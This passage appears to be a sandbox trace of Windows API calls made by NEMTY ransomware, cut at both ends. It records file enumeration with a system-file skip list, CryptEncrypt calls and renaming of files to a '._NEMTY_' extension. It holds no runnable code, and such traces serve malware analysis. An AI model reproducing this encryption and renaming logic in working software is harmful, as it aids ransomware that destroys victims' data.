lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.css", lpUsedDefaultChar=0x0) returned 10 [0129.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0129.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0129.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0129.720] Sleep (dwMilliseconds=0x5) [0129.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf86f30, dwHighDateTime=0x1d561e8)) [0129.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf86f30, dwHighDateTime=0x1d561e8)) [0129.727] GetLastError () returned 0xb7 [0129.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0129.727] GetLastError () returned 0xb7 [0129.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0129.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.728] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0129.728] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0129.728] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0129.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0129.728] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="RthzA6kdrgxtnjfQ/pHfXTgGZP/YdKR69TKrT1LK5lQbqS4GRgeIHfpxlbVnshqy\r\niEtCB6u8OyfVZ6cvby8i07RvGw5yOERI1RLTqAN8wd394quAMK2qy4qbqBai0t3u\r\ngc3P+gf7nEYXTVdKFblnF3i8xcKGG5Ab4bE1p5Tzu7WXzwmanb/J+Qm0J3JwQINf\r\n4vmWk0wjlm+WJqK4Dz/nzdSm5mtCv3wJ78N69aNVhiQSx8Hf+UI3d2fG5/tvnCZY\r\nP0Hl9FbCKsXWKJsbtKUYlg7lSa+0z5zljp0i57txA1YEOgK2tmU4h1N2dB0m1DQA\r\npL96HQa7fS4Aq7RSWD+qBA==\r\n", pcchString=0x653e91c) returned 1 [0129.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0129.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0129.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0129.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0129.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0129.728] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\flyout.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\flyout.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0129.729] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0129.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0129.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.748] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.748] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.771] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.772] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.781] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.781] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.791] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.800] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.800] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.809] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.809] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.819] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.828] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0129.840] CloseHandle (hObject=0xffffffff) returned 0 [0129.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0129.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0129.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0129.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0129.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0129.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0129.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.841] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\flyout.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\flyout.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\flyout.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\flyout.css._nemty_kgobjgd_")) returned 0 [0129.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0129.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0129.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0129.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0129.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0129.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0129.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0129.841] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb81591, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fb81591, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x19ac, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0129.841] lstrcmpiW (lpString1="main.css", lpString2=".") returned 1 [0129.841] lstrcmpiW (lpString1="main.css", lpString2="..") returned 1 [0129.841] lstrcmpiW (lpString1="main.css", lpString2="...") returned 1 [0129.841] lstrcmpiW (lpString1="main.css", lpString2="windows") returned -1 [0129.841] lstrcmpiW (lpString1="main.css", lpString2="$RECYCLE.BIN") returned 1 [0129.841] lstrcmpiW (lpString1="main.css", lpString2="rsa") returned -1 [0129.841] lstrcmpiW (lpString1="main.css", lpString2="NTDETECT.COM") returned -1 [0129.841] lstrcmpiW (lpString1="main.css", lpString2="ntldr") returned -1 [0129.841] lstrcmpiW (lpString1="main.css", lpString2="MSDOS.SYS") returned -1 [0129.841] lstrcmpiW (lpString1="main.css", lpString2="IO.SYS") returned 1 [0129.841] lstrcmpiW (lpString1="main.css", lpString2="boot.ini") returned 1 [0129.841] lstrcmpiW (lpString1="main.css", lpString2="boot.ini") returned 1 [0129.841] lstrcmpiW (lpString1="main.css", lpString2="AUTOEXEC.BAT") returned 1 [0129.842] lstrcmpiW (lpString1="main.css", lpString2="ntuser.dat") returned -1 [0129.842] lstrcmpiW (lpString1="main.css", lpString2="desktop.ini") returned 1 [0129.842] lstrcmpiW (lpString1="main.css", lpString2="CONFIG.SYS") returned 1 [0129.842] lstrcmpiW (lpString1="main.css", lpString2="RECYCLER") returned -1 [0129.842] lstrcmpiW (lpString1="main.css", lpString2="BOOTSECT.BAK") returned 1 [0129.842] lstrcmpiW (lpString1="main.css", lpString2="bootmgr") returned 1 [0129.842] lstrcmpiW (lpString1="main.css", lpString2="programdata") returned -1 [0129.842] lstrcmpiW (lpString1="main.css", lpString2="appdata") returned 1 [0129.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0129.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.css", lpUsedDefaultChar=0x0) returned 8 [0129.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0129.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.css", lpUsedDefaultChar=0x0) returned 8 [0129.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0129.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.css", lpUsedDefaultChar=0x0) returned 8 [0129.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0129.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.css", lpUsedDefaultChar=0x0) returned 8 [0129.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0129.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0129.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0129.842] Sleep (dwMilliseconds=0x5) [0129.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10b7a30, dwHighDateTime=0x1d561e8)) [0129.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10b7a30, dwHighDateTime=0x1d561e8)) [0129.852] GetLastError () returned 0x5 [0129.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0129.852] GetLastError () returned 0x5 [0129.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0129.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.852] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0129.852] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0129.853] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0129.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0129.853] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="wHH31GGL2/f5qn654cbNIbGZY3PbYMide2ggrWhdcTQoRpfGlzMs++biPLUo/MNY\r\nJCzTdoLdsSbIc3+zK89WpkC/oyas9D0dFJAbsXnWO357qhzBfnXJ5llcYAwcv9jC\r\n0rr+w6PxRPNC/r6lllr8x1ixkSoG9JJ+Wim4j64gIQHLtW9Nj+7PFvzKFxCFOwRD\r\n7zBl7D0wuk5lLovTSWlIErrcbnJmjt/VVu2HV9BNNFUMxPrcsprJRxgV2BHMs+7s\r\n5N6Nw7IBOHOKlW81Y7w3qrENBLYXCVKJaxEPLQPgv/p7aVVmdBj6bIaKMA+VRSb0\r\nSVfxhBre4W8VynjC9GmsVw==\r\n", pcchString=0x653e91c) returned 1 [0129.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0129.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0129.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0129.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0129.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0129.853] CreateFileW (lpFileName="C:\\Program Files\\Windows 